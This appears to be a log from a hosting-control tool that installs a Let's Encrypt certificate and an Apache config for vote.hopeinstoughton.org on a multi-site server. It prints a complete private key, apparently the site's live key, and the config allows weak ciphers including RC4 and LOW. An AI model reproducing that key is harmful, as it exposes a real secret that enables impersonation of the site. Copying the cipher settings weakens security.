ly7gbgf3cE/PGY8JxtUSbW8IH41yUGK/e4Zeb/x6hcRehONddkWqynSduoZRchO/
rZdr9FjCQPv4BXopyHLesrjo9TvIB4Vr2UIqNe1mOjXRh/LdT1Dn8GbAb2XdlsJ+
y/qYL+X7RhK42hPVEgAcXIGjKWLLLIZBCyWnTVvh4QKBgQD4ZHGxZxAuW5WOhbve
ZnTiktouOnPByFcN+ig4a3/NuQ9bnLR+nOXDbt7FjPINRhtNaObbyDVmEmvHJdtA
8iq0BEYx96vDlbk7JwX+okJF3z84Kvd1vIFIVzztLUBnzLQupbZYPX0apnD1gjSy
zlr1bRBZ0JXYEYaUmd74HV7spwKBgQDfq9DqLO+yuowlpzVBkGM8umfxObBVtN+w
7wG7T0C4s903oFG+9f6ZaHRsvSGR7m1bTij5Nrr+WLJ6INRH1Bae5P4wrOdKSneN
zuDK228sn1iHsDkoMd8PJ3ryUXCoT3AfEZAe7Q2NkqfwJqhDw9hXnflpO3pxm56Z
h5E3ehXFKQKBgHC2y6yv0vTmVEBfSTgLkCC8eMsfdSXLLk3GZXfsuAr3XhO5UWJe
+hgr+GT2p2QEmyEOaCv1dt3BoCy3bf3TpjMX+W51L/lJuMsx0xOQN7iTLJHlVXOU
vanBBIGv1hkEGANO6SaziFCOlJWjpxw4bagO/Kt07nokwcgu5rH6SffjAoGAKXab
at3brYFBe7VsfPP8QYS4whIUqz61fQJBiuydLeBB8Q7qOIE3qk6fzoydDYVqhlON
6u0HayEcLOGrGImri9cde/6BfdciJIqmR1S4XkhHzBeR8O6V0CRceVE5linrugay
ddkx+v2l3jH8XVuP3mYtlyFsiGT12LY16Ffcc0kCgYAB7qU3FxzaCnozpRfqhHn5
PwWv8UhrEtlfTHyelCaW0H3ALTwsCxbTM8uoWAHSXaqe10kzkJbipq1OYRVZJYyN
7ORFg3RnAS/Kw2ahML2HnOqcrz65XAblLWtv91/KSIlYUAwegFkqq7c6GjelmDuA
Ii4FY0q/S00vGWztb3wopA==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-10 06:00:31: 

chmod 755 /tmp/pkp951410; /tmp/pkp951410; rm /tmp/pkp951410

2025-11-10 06:00:31: 


dir=/etc/ssl/certs


2025-11-10 06:00:31: 

PUT: /tmp/pkp316598

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-10 06:00:31: 

chmod 755 /tmp/pkp316598; /tmp/pkp316598; rm /tmp/pkp316598

2025-11-10 06:00:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf 48

<VirtualHost *:80>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-11-10 06:00:31: 

PUT: /tmp/pkp289702

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_vote_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf= 1'
fi


2025-11-10 06:00:31: 

chmod 755 /tmp/pkp289702; /tmp/pkp289702; rm /tmp/pkp289702

2025-11-10 06:00:31: 




2025-11-10 06:00:31: 

PUT: /tmp/pkp640294

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-10 06:00:31: 

chmod 755 /tmp/pkp640294; /tmp/pkp640294; rm /tmp/pkp640294

2025-11-10 06:00:31: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-10 06:00:31: Establishing a connection
2025-11-10 06:00:31: 

PUT: /tmp/pkp323038

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-10 06:00:32: 

chmod 755 /tmp/pkp323038; /tmp/pkp323038; rm /tmp/pkp323038

2025-11-10 06:00:32: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-10 06:00:32: 

PUT: /tmp/pkp841155

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-10 06:00:32: 

chmod 755 /tmp/pkp841155; /tmp/pkp841155; rm /tmp/pkp841155

2025-11-10 06:00:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf	1655

<VirtualHost *:80>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-11-10 06:00:32: 

PUT: /tmp/pkp561648

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-10 06:00:32: 

chmod 755 /tmp/pkp561648; /tmp/pkp561648; rm /tmp/pkp561648

2025-11-10 06:00:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt	5374
4a:11:58:8b:99:8f:1b:06:ed:fb:90:a3:48:6d:5f:b5

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBi/S3upO9GBjg9arTV8jGNSZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTEwMDUwMjAwWhcNMjYwMjA4MDUwMTU5WjAjMSEwHwYDVQQD
Exh2b3RlLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDZBjTWThDW0ZNCQXxI7siPUf4t8hzVtaoMxbTK0WIoYMlkLBVe
xcxpdQLLGKiXaaGZTgkaEc+2rChTAow30Yq67T380JlvnEQuPTo/w+9H6gvbl6iY
/hM9sZCJKOkiGiY/2dGscKVV+FdoAjKrUIv1laFQbRxRn+GPgrQOBA+Dg0iRAJpU
Ha1+6ahVss5gabw3shHku0ZsIuMr83SB4dJPn1g2RKCAxbOSlDqInJUsi004RYFl
C9Mq02JefBA732QD2yjHAWHC1LpwjpepPd8l8GUFZ1Ld09AxbG7QC4bFay2VkqtZ
usUAB5KpnTCtQSPqPo5ccEe4S2wTuMjAA2m/AgMBAAGjggIqMIICJjAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFB6otP/trILMbdywEmnze6jO5+wWMB8GA1UdIwQYMBaA
FAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYdm90ZS5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMjYuY3JsMIIBBgYKKwYBBAHW
eQIEAgSB9wSB9ADyAHcASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMA
AAGabFoF/wAABAMASDBGAiEA2TP4jAC7Euo6I8/sZPn98qqkcRhWyBscZbm/QEl9
AqYCIQCKejH+v5d0aUVeII51CMmAdIjxFie0TccsSGMDTz1JpAB3AMs49xWJfISh
RF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAABmmxaBvAAAAQDAEgwRgIhAOMMtlRN
8WijbnI39z+x2F8VGMnYW6qGIe/oF1qk2CXrAiEAygy7FXtUvoBMdI8JUgc+0Y+W
XnCNvZ6fpabp9bjaFVQwDQYJKoZIhvcNAQELBQADggEBAIflHfU90S3ZYaYvZa5Q
yq1iCxut59oQ1NELL4PgW1WXh2gIEWVqldqG5UKUgG8Jbe6SpEbynIhp/AAPpIWa
Gz/WvYUYfLAlf3aOjUJ4m7CiUbNG7OohKw2Ybvmf1MdHlcIj4f5G/1XsJjRvZ57A
g0Dxs+qK6c+vXyhqQzX2DxrHu5bwZubk3Uu6YwT0meYR7bNy6+E1nicT0oSFdJJ2
YGIfep0HtXFI0bI70kq3Sof8zWBatfukfKjRfCL0razvM3daHTZ9A/vAL1WhXLB4
rK5C+LicKobELA1dBtUf/9Tna3JoSVRWzRKbsgQZJYth+HAl/Mchz28SpNOGMxYF
Vag=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDZBjTWThDW0ZNC
QXxI7siPUf4t8hzVtaoMxbTK0WIoYMlkLBVexcxpdQLLGKiXaaGZTgkaEc+2rChT
Aow30Yq67T380JlvnEQuPTo/w+9H6gvbl6iY/hM9sZCJKOkiGiY/2dGscKVV+Fdo
AjKrUIv1laFQbRxRn+GPgrQOBA+Dg0iRAJpUHa1+6ahVss5gabw3shHku0ZsIuMr
83SB4dJPn1g2RKCAxbOSlDqInJUsi004RYFlC9Mq02JefBA732QD2yjHAWHC1Lpw
jpepPd8l8GUFZ1Ld09AxbG7QC4bFay2VkqtZusUAB5KpnTCtQSPqPo5ccEe4S2wT
uMjAA2m/AgMBAAECggEAFRgXVqUr2dVw/MWksOoUsGmFzS11RAhuSOOGmRgU9FvD
92qZgSa0oaNv7BGvgVgRDveYxuHoUJcXLEpZGqvRUi3xEnusDj8gGWZ2HPCMd272
TBfHmWdIs3xo0gwZ7Oihwx8G1D32tA55YHCmQCSKFgq/LTQNxplFsU9A9QPMBjo0
ly7gbgf3cE/PGY8JxtUSbW8IH41yUGK/e4Zeb/x6hcRehONddkWqynSduoZRchO/
rZdr9FjCQPv4BXopyHLesrjo9TvIB4Vr2UIqNe1mOjXRh/LdT1Dn8GbAb2XdlsJ+
y/qYL+X7RhK42hPVEgAcXIGjKWLLLIZBCyWnTVvh4QKBgQD4ZHGxZxAuW5WOhbve
ZnTiktouOnPByFcN+ig4a3/NuQ9bnLR+nOXDbt7FjPINRhtNaObbyDVmEmvHJdtA
8iq0BEYx96vDlbk7JwX+okJF3z84Kvd1vIFIVzztLUBnzLQupbZYPX0apnD1gjSy
zlr1bRBZ0JXYEYaUmd74HV7spwKBgQDfq9DqLO+yuowlpzVBkGM8umfxObBVtN+w
7wG7T0C4s903oFG+9f6ZaHRsvSGR7m1bTij5Nrr+WLJ6INRH1Bae5P4wrOdKSneN
zuDK228sn1iHsDkoMd8PJ3ryUXCoT3AfEZAe7Q2NkqfwJqhDw9hXnflpO3pxm56Z
h5E3ehXFKQKBgHC2y6yv0vTmVEBfSTgLkCC8eMsfdSXLLk3GZXfsuAr3XhO5UWJe
+hgr+GT2p2QEmyEOaCv1dt3BoCy3bf3TpjMX+W51L/lJuMsx0xOQN7iTLJHlVXOU
vanBBIGv1hkEGANO6SaziFCOlJWjpxw4bagO/Kt07nokwcgu5rH6SffjAoGAKXab
at3brYFBe7VsfPP8QYS4whIUqz61fQJBiuydLeBB8Q7qOIE3qk6fzoydDYVqhlON
6u0HayEcLOGrGImri9cde/6BfdciJIqmR1S4XkhHzBeR8O6V0CRceVE5linrugay
ddkx+v2l3jH8XVuP3mYtlyFsiGT12LY16Ffcc0kCgYAB7qU3FxzaCnozpRfqhHn5
PwWv8UhrEtlfTHyelCaW0H3ALTwsCxbTM8uoWAHSXaqe10kzkJbipq1OYRVZJYyN
7ORFg3RnAS/Kw2ahML2HnOqcrz65XAblLWtv91/KSIlYUAwegFkqq7c6GjelmDuA
Ii4FY0q/S00vGWztb3wopA==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
